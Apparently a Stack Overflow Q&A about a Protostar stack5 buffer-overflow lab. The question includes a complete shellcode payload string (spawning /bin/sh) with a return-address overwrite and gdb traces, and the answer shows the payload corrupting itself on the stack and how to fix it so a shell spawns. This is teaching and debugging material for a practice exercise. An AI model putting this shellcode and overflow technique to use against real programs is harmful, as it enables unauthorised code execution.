Search code examples
gdbbuffer-overflowshellcode

Shellcode not executed properly


I am trying to solve Protostar stack5. Here is a solution. It puts the shellcode after the return address, I tried to put it before, in the array. I have tried the shellcode, it works.

It seems everything OK, the execution jumps to shellcode, but I get a segmentation fault after the end of shellcode, and no shell is spawned. I do not know why, in gdb not all shellcode instructions appear properly. For example at 0xbffff690 should be mov %esp,%ecx not cwtl. Maybe this is the problem? Why is this happening?

Edit: Since the array address will be slightly different when it is started outside gdb we need a nop sled. So my approach maybe will not work because the array size is too small for this. However I still want to know why the end of the shellcode is interpreted wrongly in gdb.

perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2


user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave  
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.

Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor    %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor    %ebx,%ebx
(gdb) 
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov    $0x6,%al
(gdb) 
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int    $0x80
(gdb) 
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push   %ebx
(gdb) 
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push   $0x7974742f
(gdb) 
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push   $0x7665642f
(gdb) 
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov    %esp,%ebx
(gdb) 
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor    %ecx,%ecx
(gdb) 
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov    $0x2712,%cx
(gdb) 
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov    $0x5,%al
(gdb) 
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int    $0x80
(gdb) 
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor    %eax,%eax
(gdb) 
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push   %eax
(gdb) 
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push   $0x68732f2f
(gdb) 
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push   $0x6e69622f
(gdb) 
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov    %esp,%ebx
(gdb) 
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push   %eax
(gdb) 
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push   %ebx
(gdb) 
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl   
(gdb) 
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv   %bh
(gdb) 
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov    $0x0,%edi
(gdb) 
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das    
(gdb) 
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
(gdb) 

Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)

Solution

  • Interesting question. The answer is: you have a stack overflow in your stack overflow.

    On my system, the disassembly for main is at a slightly different address:

    (gdb) disas
    Dump of assembler code for function main:
       0x0804841d <+0>:     push   %ebp
       0x0804841e <+1>:     mov    %esp,%ebp
       0x08048420 <+3>:     and    $0xfffffff0,%esp
       0x08048423 <+6>:     sub    $0x50,%esp
       0x08048426 <+9>:     lea    0x10(%esp),%eax
       0x0804842a <+13>:    mov    %eax,(%esp)
       0x0804842d <+16>:    call   0x80482f0 <gets@plt>
       0x08048432 <+21>:    leave
       0x08048433 <+22>:    ret
    End of assembler dump.
    

    The stack address is also different: the return address when stopped at 0x0804841d is 0xffffcedc, which means that by the time I reach gets the value of $eax is 0xffffce90, and I need to adjust exploit code accordingly.

    I then set a breakpoint in *0x08048433, and execute the following commands once I reach it:

    (gdb) display/23i 0xffffce90
    (gdb) stepi
    

    Here is what I then see:

    0xffffce90 in ?? ()
    1: x/23i 0xffffce90
    => 0xffffce90:  xor    %eax,%eax
       0xffffce92:  xor    %ebx,%ebx
       0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
       0xffffcebf:  push   %ebx
       0xffffcec0:  mov    %esp,%ecx
       0xffffcec2:  cltd
       0xffffcec3:  mov    $0xb,%al
       0xffffcec5:  int    $0x80
    (gdb)   # I press Enter here to repeat stepi
    0xffffce92 in ?? ()
    1: x/23i 0xffffce90
       0xffffce90:  xor    %eax,%eax
    => 0xffffce92:  xor    %ebx,%ebx
       0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
       0xffffcebf:  push   %ebx
       0xffffcec0:  mov    %esp,%ecx
       0xffffcec2:  cltd
       0xffffcec3:  mov    $0xb,%al
       0xffffcec5:  int    $0x80
    (gdb)
    0xffffce94 in ?? ()
    1: x/23i 0xffffce90
       0xffffce90:  xor    %eax,%eax
       0xffffce92:  xor    %ebx,%ebx
    => 0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
       0xffffcebf:  push   %ebx
       0xffffcec0:  mov    %esp,%ecx
       0xffffcec2:  cltd
       0xffffcec3:  mov    $0xb,%al
       0xffffcec5:  int    $0x80
    (gdb)
    

    So far, everything is proceeding nicely. But watch what happens when we reach 0xffffcebe and stepi over it:

    0xffffcebf in ?? ()
    1: x/23i 0xffffce90
       0xffffce90:  xor    %eax,%eax
       0xffffce92:  xor    %ebx,%ebx
       0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
    => 0xffffcebf:  push   %ebx
       0xffffcec0:  mov    %esp,%ecx
       0xffffcec2:  cltd
       0xffffcec3:  mov    $0x0,%al
       0xffffcec5:  add    %al,(%eax)
    

    The push just executed overwrote the int80 that used to be at 0xffffcec5 with something else (namely content of $eax). This is because we are executing instructions on the stack, while simultaneously pushing values onto that same stack!

    Another stepi, and I see this:

    (gdb) stepi
    0xffffcec0 in ?? ()
    1: x/23i 0xffffce90
       0xffffce90:  xor    %eax,%eax
       0xffffce92:  xor    %ebx,%ebx
       0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
       0xffffcebf:  push   %ebx
    => 0xffffcec0:  enter  $0xffce,$0xff
       0xffffcec4:  add    %al,(%eax)
       0xffffcec6:  add    %al,(%eax)
       0xffffcec8:  das
    

    And the next stepi causes SIGSEGV:

    (gdb) stepi
    Program received signal SIGSEGV, Segmentation fault.
    

    So what's the solution?

    When we enter code at 0xffffce90, our stack points to 0xffffcee0, i.e. just 80 bytes past the shellcode. Our shellcode length is 54 bytes. Therefore, we can push at most 6 words on the stack, before we start corrupting our shellcode.

    Current shellcode pushes 8 words, corrupting itself with the 7th and 8th pushes.

    The shellcode needs to either pop some words (e.g. add pop %eax after the first syscall at 0xffffcead), or extend the stack with e.g. add $0x80,%esp upon entry so there is plenty of space between end of shellcode and top of stack.

    I've used the latter, and it worked:

    (gdb) c
    Continuing.
    process 21439 is executing new program: /bin/bash